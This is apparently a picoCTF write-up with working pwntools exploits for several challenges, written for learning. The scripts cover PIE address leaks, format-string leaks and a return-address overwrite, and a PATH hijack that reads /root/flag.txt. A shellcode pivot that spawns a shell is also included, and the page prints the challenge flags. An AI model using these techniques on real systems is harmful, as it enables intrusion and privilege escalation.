# PicoCTF ## PIE TIME ![image](https://hackmd.io/_uploads/SJFPnc3ikg.png) ```python from pwn import * p = process('./vuln') p = remote('rescued-float.picoctf.net', 54065) # gdb.attach(p) line = p.recvline().strip() log.info("Received: " + line.decode()) main = int(line.split(b":")[1].strip(), 16) log.info(f"Main address: {hex(main)}") win = main - 0x96 log.info(f"win address (main + 0x96): {hex(win)}") # input() p.sendline(hex(win)) p.interactive() # Flag: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_80c3b8b7} ``` In this challenge, we obtain the main address, so we can easily calculate the win address. ## PIE TIME 2 ![image](https://hackmd.io/_uploads/HJwun9nske.png) ![image](https://hackmd.io/_uploads/SJjq_wF21x.png) Format string here ![image](https://hackmd.io/_uploads/r1NGPvKhye.png) **%19$p** can take the address of main + 65, why it's 19 ? 19 = (0x68 / 8) + 6 = 13 + 6 = 19 ![image](https://hackmd.io/_uploads/HJBIqvK3yl.png) ```python from pwn import * p = process('./vuln') p = remote('rescued-float.picoctf.net', 49244) # gdb.attach(p) payload = b'%19$p' p.sendline(payload) line = p.recvline().strip() log.info("Received: " + line.decode()) main = int(line.split(b":")[1].strip(), 16) log.info(f"Main + 65 address: {hex(main)}") win = main - 0xd7 log.info(f"win address (main - 0xd7): {hex(win)}") # input() p.sendline(hex(win)) p.interactive() # Flag: picoCTF{p13_5h0u1dn'7_134k_2509623b} ``` This challenge is similar to the previous one: we simply leak the main address and then calculate the win address using a different offset. ## hash-only-1 ``` ctf-player@pico-chall$ ./flaghasher Computing the MD5 hash of /root/flag.txt.... 8c9735f569157a799a98bd2014190786 /root/flag.txt ctf-player@pico-chall$ echo '#!/bin/sh' > md5sum ctf-player@pico-chall$ echo 'cat /root/flag.txt' >> md5sum ctf-player@pico-chall$ chmod +x md5sum ctf-player@pico-chall$ export PATH=.:$PATH ctf-player@pico-chall$ ./flaghasher Computing the MD5 hash of /root/flag.txt.... picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_63a87fa9} ``` ## hash-only-2 ![image](https://hackmd.io/_uploads/HyKmM5hs1l.png) ## Echo Valley ![image](https://hackmd.io/_uploads/SkdI393syl.png) ![image](https://hackmd.io/_uploads/ByeSSchskg.png) This challenge features a format string vulnerability. ![image](https://hackmd.io/_uploads/rkb4Avthkl.png) First, we leak a stack address using **%20$p** (20 = 0x70 / 8 + 6); this address is located 8 bytes above the RBP, where the main function’s return address is stored. Next, we leak an address corresponding to **main+18** which you can leak by sending **%21$p** (21 = 0x78 / 8 + 6)(i.e., the RIP), which lets us determine the address of the **print_flag** function. Finally, we use %hn and %c to change the lower 2 bytes of the address so that it points to the **print_flag** function ```python from pwn import * elf = context.binary = ELF('./valley') p = process() # p = remote('shape-facility.picoctf.net', 50332) p.sendline(b'%21$p') p.recvuntil(b'distance: 0x') ret_addr = int(p.recvline().decode().strip(),16) - elf.sym.main - 18 elf.address = ret_addr p.sendline(b'%20$p') p.recvuntil(b'distance: 0x') ret_addr = int(p.recvline().decode().strip(),16) - 0x8 p.sendline(b'A'*16 + p64(ret_addr)) payload = b'%' payload += str(int(hex(elf.sym.print_flag)[-4:],16)).encode() payload += b'c%8$hn' p.sendline(payload) p.sendline(b'exit') p.interactive() ``` ![image](https://hackmd.io/_uploads/B1eA7tTo1g.png) **Flag: picoctf{f1ckl3_f0rmat_f1asc0}** P.S.: I solved this challenge by watching some techniques on YouTube and also using ChatGPT. [Format String Exploit](https://www.youtube.com/watch?v=QOgD3jPHyRY) ## Handoff Checksec: ![image](https://hackmd.io/_uploads/SJDNQJu2ke.png) sources: ```python3= #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #define MAX_ENTRIES 10 #define NAME_LEN 32 #define MSG_LEN 64 typedef struct entry { char name[8]; char msg[64]; } entry_t; void print_menu() { puts("What option would you like to do?"); puts("1. Add a new recipient"); puts("2. Send a message to a recipient"); puts("3. Exit the app"); } int vuln() { char feedback[8]; entry_t entries[10]; int total_entries = 0; int choice = -1; // Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory while (true) { print_menu(); if (scanf("%d", &choice) != 1) exit(0); getchar(); // Remove trailing \n // Add entry if (choice == 1) { choice = -1; // Check for max entries if (total_entries >= MAX_ENTRIES) { puts("Max recipients reached!"); continue; } // Add a new entry puts("What's the new recipient's name: "); fflush(stdin); fgets(entries[total_entries].name, NAME_LEN, stdin); total_entries++; } // Add message else if (choice == 2) { choice = -1; puts("Which recipient would you like to send a message to?"); if (scanf("%d", &choice) != 1) exit(0); getchar(); if (choice >= total_entries) { puts("Invalid entry number"); continue; } puts("What message would you like to send them?"); fgets(entries[choice].msg, MSG_LEN, stdin); } else if (choice == 3) { choice = -1; puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: "); fgets(feedback, NAME_LEN, stdin); feedback[7] = '\0'; break; } else { choice = -1; puts("Invalid option"); } } } int main() { setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output) vuln(); return 0; } ``` In this challenge, I found two bugs in total. ![image](https://hackmd.io/_uploads/r1QEG1O3ye.png) What if choice be a negative number ??? ![image](https://hackmd.io/_uploads/HkrvzJun1x.png) ```python3= #define NAME_LEN 32 ``` BOF there But I just use BOF to solve this problem. Script: ```python3 from pwn import * elf = context.binary = ELF('./handoff') p = elf.process() # p = remote('shape-facility.picoctf.net', 63645) gdb.attach(p, gdbscript = ''' b* 0x401014 c ''') shellcode = asm(''' xor rsi, rsi push 0 pop rax xor rdi, rdi mov rsi, rsp push 0x64 pop rdx syscall jmp rsp ''') newshellcode = asm(''' mov rax, rax sub rax,716 jmp rax ''') jmp_rax = 0x401014 p.sendlineafter(b'app', b'1') p.sendlineafter(b'name:', b'name') p.sendlineafter(b'app', b'2') p.sendlineafter(b'to?', b'0') p.sendlineafter(b'them?', shellcode) payload = newshellcode payload += asm('nop') * (20 - len(payload)) payload += p64(jmp_rax) p.sendlineafter(b'app', b'3') p.sendlineafter(b'it:', payload) p.sendline(asm(shellcraft.sh())) p.interactive() ``` The flow of my solution: + Choosing option 1 to make total_entries=1 (>0) + Since total_entries > 0, we can use option 2 to place our shellcode on entries[0] + Choose option 3 than send **newshellcode**, that **shellcode** would calculate and jmp to **shellcode** that I place in option 2 - Send the shellcraft then jmp to it by **jmp rsp** in **shellcode** ![image](https://hackmd.io/_uploads/S1aXMlu2Je.png) Flag: picoCTF{p1v0ted_ftw_198161ff}